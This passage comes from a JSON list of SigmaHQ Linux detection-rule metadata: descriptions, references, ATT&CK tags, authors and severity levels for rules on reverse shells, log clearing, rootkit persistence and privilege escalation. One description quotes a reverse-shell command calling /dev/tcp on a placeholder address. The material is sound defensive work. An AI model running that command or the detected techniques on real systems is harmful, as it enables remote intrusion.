"https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_shutdown_reboot.yml" - ], - "tags": [ - "attack.impact", - "attack.t1529" - ], - "creation_date": "2020/10/15", - "filename": "lnx_auditd_system_shutdown_reboot.yml", - "author": "Igor Fits, oscd.community", - "level": "informational", - "falsepositive": [ - "Legitimate administrative activity" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects extracting of zip file from image file", - "uuid": "edd595d7-7895-4fa7-acb3-85a18a8772ca", - "value": "Steganography Unzip Hidden Information From Picture File", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1027/003/", - "https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_unzip_hidden_zip_files_steganography.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.003" - ], - "creation_date": "2021/09/09", - "filename": "lnx_auditd_unzip_hidden_zip_files_steganography.yml", - "author": "Pawel Mazur", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", - "uuid": "9a0d8ca0-2385-4020-b6c6-cb6153ca56f3", - "value": "System Owner or User Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_user_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033" - ], - "creation_date": "2019/10/21", - "filename": "lnx_auditd_user_discovery.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "low", - "falsepositive": [ - "Admin activity" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects possible command execution by web application/web shell", - "uuid": "c0d3734d-330f-4a03-aae2-65dacc6a8222", - "value": "Webshell Remote Command Execution", - "meta": { - "refs": [ - "personal experience", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_web_rce.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2019/10/12", - "filename": "lnx_auditd_web_rce.yml", - "author": "Ilyas Ochkov, Beyu Denis, oscd.community", - "level": "critical", - "falsepositive": [ - "Admin activity", - "Crazy web applications" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious shell commands used in various Equation Group scripts and tools", - "uuid": "41e5c73d-9983-4b69-bd03-e13b67e9623c", - "value": "Equation Group Indicators", - "meta": { - "refs": [ - "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_apt_equationgroup_lnx.yml" - ], - "tags": [ - "attack.execution", - "attack.g0020", - "attack.t1059.004" - ], - "creation_date": "2017/04/09", - "filename": "lnx_apt_equationgroup_lnx.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects buffer overflow attempts in Unix system log files", - "uuid": "18b042f0-2ecd-4b6e-9f8d-aa7a7e7de781", - "value": "Buffer Overflow Attempts", - "meta": { - "refs": [ - "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/attack_rules.xml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_buffer_overflows.yml" - ], - "tags": [ - "attack.t1068", - "attack.privilege_escalation" - ], - "creation_date": "2017/03/01", - "filename": "lnx_buffer_overflows.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects specific commands commonly used to remove or empty the syslog", - "uuid": "e09eb557-96d2-4de9-ba2d-30f712a5afd3", - "value": "Commands to Clear or Remove the Syslog", - "meta": { - "refs": [ - "https://www.virustotal.com/gui/file/fc614fb4bda24ae8ca2c44e812d12c0fab6dd7a097472a35dd12ded053ab8474", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_clear_syslog.yml" - ], - "tags": [ - "attack.impact", - "attack.t1565.001" - ], - "creation_date": "2021/09/10", - "filename": "lnx_clear_syslog.yml", - "author": "Max Altgelt", - "level": "high", - "falsepositive": [ - "Log rotation" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious modification of crontab file.", - "uuid": "af202fd3-7bff-4212-a25a-fb34606cfcbe", - "value": "Modifying Crontab", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_crontab_file_modification.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1053.003" - ], - "creation_date": "2022/04/16", - "filename": "lnx_crontab_file_modification.yml", - "author": "Pawel Mazur", - "level": "medium", - "falsepositive": [ - "Legitimate modification of crontab" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects the use of tools that copy files from or to remote systems", - "uuid": "7a14080d-a048-4de8-ae58-604ce58a795b", - "value": "Remote File Copy", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1105/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_file_copy.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.lateral_movement", - "attack.t1105" - ], - "creation_date": "2020/06/18", - "filename": "lnx_file_copy.yml", - "author": "\u00d6mer G\u00fcnal", - "level": "low", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects the ld.so preload persistence file. See `man ld.so` for more information.", - "uuid": "7e3c4651-c347-40c4-b1d4-d48590fdf684", - "value": "Code Injection by ld.so Preload", - "meta": { - "refs": [ - "https://man7.org/linux/man-pages/man8/ld.so.8.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_ldso_preload_injection.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1574.006" - ], - "creation_date": "2021/05/05", - "filename": "lnx_ldso_preload_injection.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Rare temporary workaround for library misconfiguration" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects exploitation of Nimbuspwn privilege escalation vulnerability (CVE-2022-29799 and CVE-2022-29800)", - "uuid": "7ba05b43-adad-4c02-b5e9-c8c35cdf9fa8", - "value": "Nimbuspwn Exploitation", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/", - "https://github.com/Immersive-Labs-Sec/nimbuspwn", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_nimbuspwn_privilege_escalation_exploit.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068" - ], - "creation_date": "2022/05/04", - "filename": "lnx_nimbuspwn_privilege_escalation_exploit.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects potential PwnKit exploitation CVE-2021-4034 in auth logs", - "uuid": "0506a799-698b-43b4-85a1-ac4c84c720e9", - "value": "PwnKit Local Privilege Escalation", - "meta": { - "refs": [ - "https://twitter.com/wdormann/status/1486161836961579020", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_pwnkit_local_privilege_escalation.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548.001" - ], - "creation_date": "2022/01/26", - "filename": "lnx_pwnkit_local_privilege_escalation.yml", - "author": "Sreeman", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects shellshock expressions in log files", - "uuid": "c67e0c98-4d39-46ee-8f6b-437ebf6b950e", - "value": "Shellshock Expression", - "meta": { - "refs": [ - "https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shellshock.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2017/03/14", - "filename": "lnx_shellshock.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Clear command history in linux which is used for defense evasion.", - "uuid": "fdc88d25-96fb-4b7c-9633-c0e417fdbd4e", - "value": "Clear Command History", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.003/T1070.003.md", - "https://attack.mitre.org/techniques/T1070/003/", - "https://www.hackers-arise.com/single-post/2016/06/20/Covering-your-BASH-Shell-Tracks-AntiForensics", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_clear_cmd_history.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.003" - ], - "creation_date": "2019/03/24", - "filename": "lnx_shell_clear_cmd_history.yml", - "author": "Patrick Bareiss", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious shell commands indicating the information gathering phase as preparation for the Privilege Escalation.", - "uuid": "444ade84-c362-4260-b1f3-e45e20e1a905", - "value": "Privilege Escalation Preparation", - "meta": { - "refs": [ - "https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/", - "https://patrick-bareiss.com/detect-privilege-escalation-preparation-in-linux-with-sigma/", - "https://github.com/uber-common/metta/blob/master/MITRE/Privilege_Escalation/privesc_linux_filesystemweakness.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_priv_esc_prep.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.004" - ], - "creation_date": "2019/04/05", - "filename": "lnx_shell_priv_esc_prep.yml", - "author": "Patrick Bareiss", - "level": "medium", - "falsepositive": [ - "Troubleshooting on Linux Machines" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious shell commands used in various exploit codes (see references)", - "uuid": "2aa1440c-9ae9-4d92-84a7-a9e5f5e31695", - "value": "Suspicious Activity in Shell Commands", - "meta": { - "refs": [ - "http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html", - "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb", - "http://pastebin.com/FtygZ1cg", - "https://artkond.com/2017/03/23/pivoting-guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_commands.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.004" - ], - "creation_date": "2017/08/21", - "filename": "lnx_shell_susp_commands.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious log entries in Linux log files", - "uuid": "f64b6e9a-5d9d-48a5-8289-e1dd2b3876e1", - "value": "Suspicious Log Entries", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_log_entries.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2017/03/25", - "filename": "lnx_shell_susp_log_entries.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell", - "uuid": "738d9bcf-6999-4fdb-b4ac-3033037db8ab", - "value": "Suspicious Reverse Shell Command Line", - "meta": { - "refs": [ - "https://alamot.github.io/reverse_shells/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_rev_shells.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.004" - ], - "creation_date": "2019/04/02", - "filename": "lnx_shell_susp_rev_shells.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects space after filename", - "uuid": "879c3015-c88b-4782-93d7-07adf92dbcb7", - "value": "Space After Filename", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1064", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_space_after_filename_.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2020/06/17", - "filename": "lnx_space_after_filename_.yml", - "author": "\u00d6mer G\u00fcnal", - "level": "low", - "falsepositive": [ - "Typos" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287", - "uuid": "7fcc54cb-f27d-4684-84b7-436af096f858", - "value": "Sudo Privilege Escalation CVE-2019-14287", - "meta": { - "refs": [ - "https://www.openwall.com/lists/oss-security/2019/10/14/1", - "https://access.redhat.com/security/cve/cve-2019-14287", - "https://twitter.com/matthieugarin/status/1183970598210412546", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_sudo_cve_2019_14287_user.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068", - "attack.t1548.003", - "cve.2019.14287" - ], - "creation_date": "2019/10/15", - "filename": "lnx_sudo_cve_2019_14287_user.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious command with /dev/tcp", - "uuid": "6cc5fceb-9a71-4c23-aeeb-963abe0b279c", - "value": "Suspicious Use of /dev/tcp", - "meta": { - "refs": [ - "https://www.andreafortuna.org/2021/03/06/some-useful-tips-about-dev-tcp/", - "https://book.hacktricks.xyz/shells/shells/linux", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-1---port-scan", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_dev_tcp.yml" - ], - "tags": [ - "attack.reconnaissance" - ], - "creation_date": "2021/12/10", - "filename": "lnx_susp_dev_tcp.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious command sequence that JexBoss", - "uuid": "8ec2c8b4-557a-4121-b87c-5dfb3a602fae", - "value": "JexBoss Command Sequence", - "meta": { - "refs": [ - "https://www.us-cert.gov/ncas/analysis-reports/AR18-312A", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_jexboss.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.004" - ], - "creation_date": "2017/08/24", - "filename": "lnx_susp_jexboss.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd", - "uuid": "c67fc22a-0be5-4b4f-aad5-2b32c4b69523", - "value": "Symlink Etc Passwd", - "meta": { - "refs": [ - "https://www.qualys.com/2021/05/04/21nails/21nails.txt", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_symlink_etc_passwd.yml" - ], - "tags": [ - "attack.t1204.001", - "attack.execution" - ], - "creation_date": "2019/04/05", - "filename": "lnx_symlink_etc_passwd.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects the creation of doas.conf file in linux host platform.", - "uuid": "00eee2a5-fdb0-4746-a21d-e43fbdea5681", - "value": "Linux Doas Conf File Creation", - "meta": { - "refs": [ - "https://research.splunk.com/endpoint/linux_doas_conf_file_creation/", - "https://www.makeuseof.com/how-to-install-and-use-doas/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_doas_conf_creation.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548" - ], - "creation_date": "2022/01/20", - "filename": "file_create_lnx_doas_conf_creation.yml", - "author": "Sittikorn S, Teoderick Contreras", - "level": "medium", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "file_create", - "logsource.product": "linux" - } - }, - { - "description": "Detects creation of cron file or files in Cron directories which could indicates potential persistence.", - "uuid": "6c4e2f43-d94d-4ead-b64d-97e53fa2bd05", - "value": "Persistence Via Cron Files", - "meta": { - "refs": [ - "https://github.com/microsoft/MSTIC-Sysmon/blob/f1477c0512b0747c1455283069c21faec758e29d/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_persistence_cron_files.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1053.003" - ], - "creation_date": "2021/10/15", - "filename": "file_create_lnx_persistence_cron_files.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "level": "medium", - "falsepositive": [ - "Any legitimate cron file." - ], - "logsource.category": "file_create", - "logsource.product": "linux" - } - }, - { - "description": "Detects creation of sudoers file or files in \"sudoers.d\" directory which can be used a potential method to persiste privileges for a specific user.", - "uuid": "ddb26b76-4447-4807-871f-1b035b2bfa5d", - "value": "Persistence Via Sudoers Files", - "meta": { - "refs": [ - "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_persistence_sudoers_files.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1053.003" - ], - "creation_date": "2022/07/05", - "filename": "file_create_lnx_persistence_sudoers_files.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Creation of legitimate files in sudoers.d folder part of administrator work" - ], - "logsource.category": "file_create", - "logsource.product": "linux" - } - }, - { - "description": "Detects the creation of the file \"rootlog\" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.", - "uuid": "c0239255-822c-4630-b7f1-35362bcb8f44", - "value": "Triple Cross eBPF Rootkit Default LockFile", - "meta": { - "refs": [ - "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L33", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_triple_cross_rootkit_lock_file.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/07/05", - "filename": "file_create_lnx_triple_cross_rootkit_lock_file.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "file_create", - "logsource.product": "linux" - } - }, - { - "description": "Detects the creation of \"ebpfbackdoor\" files in both \"cron.d\" and \"sudoers.d\" directories. Which both are related to the TripleCross persistence method", - "uuid": "1a2ea919-d11d-4d1e-8535-06cda13be20f", - "value": "Triple Cross eBPF Rootkit Default Persistence", - "meta": { - "refs": [ - "https://github.com/h3xduck/TripleCross/blob/12629558b8b0a27a5488a0b98f1ea7042e76f8ab/apps/deployer.sh", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_triple_cross_rootkit_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.t1053.003" - ], - "creation_date": "2022/07/05", - "filename": "file_create_lnx_triple_cross_rootkit_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "file_create", - "logsource.product": "linux" - } - }, - { - "description": "Detects multiple blocks by the mod_security module (Web Application Firewall)", - "uuid": "a06eea10-d932-4aa6-8ba9-186df72c8d23", - "value": "Multiple Modsecurity Blocks", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/modsecurity/modsec_mulitple_blocks.yml" - ], - "tags": [ - "attack.impact", - "attack.t1499" - ], - "creation_date": "2017/02/28", - "filename": "modsec_mulitple_blocks.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Vulnerability scanners", - "Frequent attacks if system faces Internet" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')", - "uuid": "83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871", - "value": "Linux Reverse Shell Indicator", - "meta": { - "refs": [ - "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml" - ], - "tags": "No established tags", - "creation_date": "2021/10/16", - "filename": "net_connection_lnx_back_connect_shell_dev.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "network_connection", - "logsource.product": "linux" - } - }, - { - "description": "Detects process connections to a Monero crypto mining pool", - "uuid": "a46c93b7-55ed-4d27-a41b-c259456c4746", - "value": "Linux Crypto Mining Pool Connections", - "meta": { - "refs": [ - "https://www.poolwatch.io/coin/monero", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_crypto_mining_indicators.yml" - ], - "tags": "No established tags", - "creation_date": "2021/10/26", - "filename": "net_connection_lnx_crypto_mining_indicators.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use of crypto miners" - ], - "logsource.category": "network_connection", - "logsource.product": "linux" - } - }, - { - "description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", - "uuid": "19bf6fdb-7721-4f3d-867f-53467f6a5db6", - "value": "Communication To Ngrok Tunneling Service - Linux", - "meta": { - "refs": [ - "https://twitter.com/hakluke/status/1587733971814977537/photo/1", - "https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_ngrok_tunnel.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.command_and_control", - "attack.t1567", - "attack.t1568.002", - "attack.t1572", - "attack.t1090", - "attack.t1102", - "attack.s0508" - ], - "creation_date": "2022/11/03", - "filename": "net_connection_lnx_ngrok_tunnel.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use of ngrok" - ], - "logsource.category": "network_connection", - "logsource.product": "linux" - } - }, - { - "description": "Detects relevant ClamAV messages", - "uuid": "36aa86ca-fd9d-4456-814e-d3b1b8e1e0bb", - "value": "Relevant ClamAV Message", - "meta": { - "refs": [ - "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/clam_av_rules.xml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_clamav.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1588.001" - ], - "creation_date": "2017/03/01", - "filename": "lnx_clamav.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects disabling security tools", - "uuid": "49f5dfc1-f92e-4d34-96fa-feba3f6acf36", - "value": "Disabling Security Tools", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_security_tools_disabling_syslog.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ], - "creation_date": "2020/06/17", - "filename": "lnx_security_tools_disabling_syslog.yml", - "author": "\u00d6mer G\u00fcnal, Alejandro Ortuno, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects exploitation attempt using public exploit code for CVE-2018-15473", - "uuid": "4c9d903d-4939-4094-ade0-3cb748f4d7da", - "value": "SSHD Error Message CVE-2018-15473", - "meta": { - "refs": [ - "https://github.com/Rhynorater/CVE-2018-15473-Exploit", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_ssh_cve_2018_15473.yml" - ], - "tags": [ - "attack.reconnaissance", - "attack.t1589" - ], - "creation_date": "2017/08/24", - "filename": "lnx_ssh_cve_2018_15473.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious failed logins with different user accounts from a single source system", - "uuid": "fc947f8e-ea81-4b14-9a7b-13f888f94e18", - "value": "Failed Logins with Different Accounts from Single Source System", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_failed_logons_single_source.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1110" - ], - "creation_date": "2017/02/16", - "filename": "lnx_susp_failed_logons_single_source.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Terminal servers", - "Jump servers", - "Workstations with frequently changing users" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious session with two users present", - "uuid": "1edd77db-0669-4fef-9598-165bda82826d", - "value": "Guacamole Two Users Sharing Session Anomaly", - "meta": { - "refs": [ - "https://research.checkpoint.com/2020/apache-guacamole-rce/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_guacamole.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1212" - ], - "creation_date": "2020/07/03", - "filename": "lnx_susp_guacamole.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious DNS error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", - "uuid": "c8e35e96-19ce-4f16-aeb6-fd5588dc5365", - "value": "Suspicious Named Error", - "meta": { - "refs": [ - "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/named_rules.xml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_named.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2018/02/20", - "filename": "lnx_susp_named.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", - "uuid": "e76b413a-83d0-4b94-8e4c-85db4a5b8bdc", - "value": "Suspicious OpenSSH Daemon Error", - "meta": { - "refs": [ - "https://github.com/openssh/openssh-portable/blob/c483a5c0fb8e8b8915fad85c5f6113386a4341ca/ssherr.c", - "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/sshd_rules.xml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_ssh.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2017/06/30", - "filename": "lnx_susp_ssh.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", - "uuid": "377f33a1-4b36-4ee1-acee-1dbe4b43cfbe", - "value": "Suspicious VSFTPD Error Messages", - "meta": { - "refs": [ - "https://github.com/dagwieers/vsftpd/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_vsftp.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ], - "creation_date": "2017/07/05", - "filename": "lnx_susp_vsftp.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "linux" - } - }, - { - "description": "Detects the use of at/atd which are utilities that are used to schedule tasks.\nThey are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code\n", - "uuid": "d2d642d7-b393-43fe-bae4-e81ed5915c4b", - "value": "Scheduled Task/Job At", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_at_command.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1053.002" - ], - "creation_date": "2020/10/06", - "filename": "proc_creation_lnx_at_command.yml", - "author": "\u00d6mer G\u00fcnal, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects usage of base64 utility to decode arbitrary base64-encoded text", - "uuid": 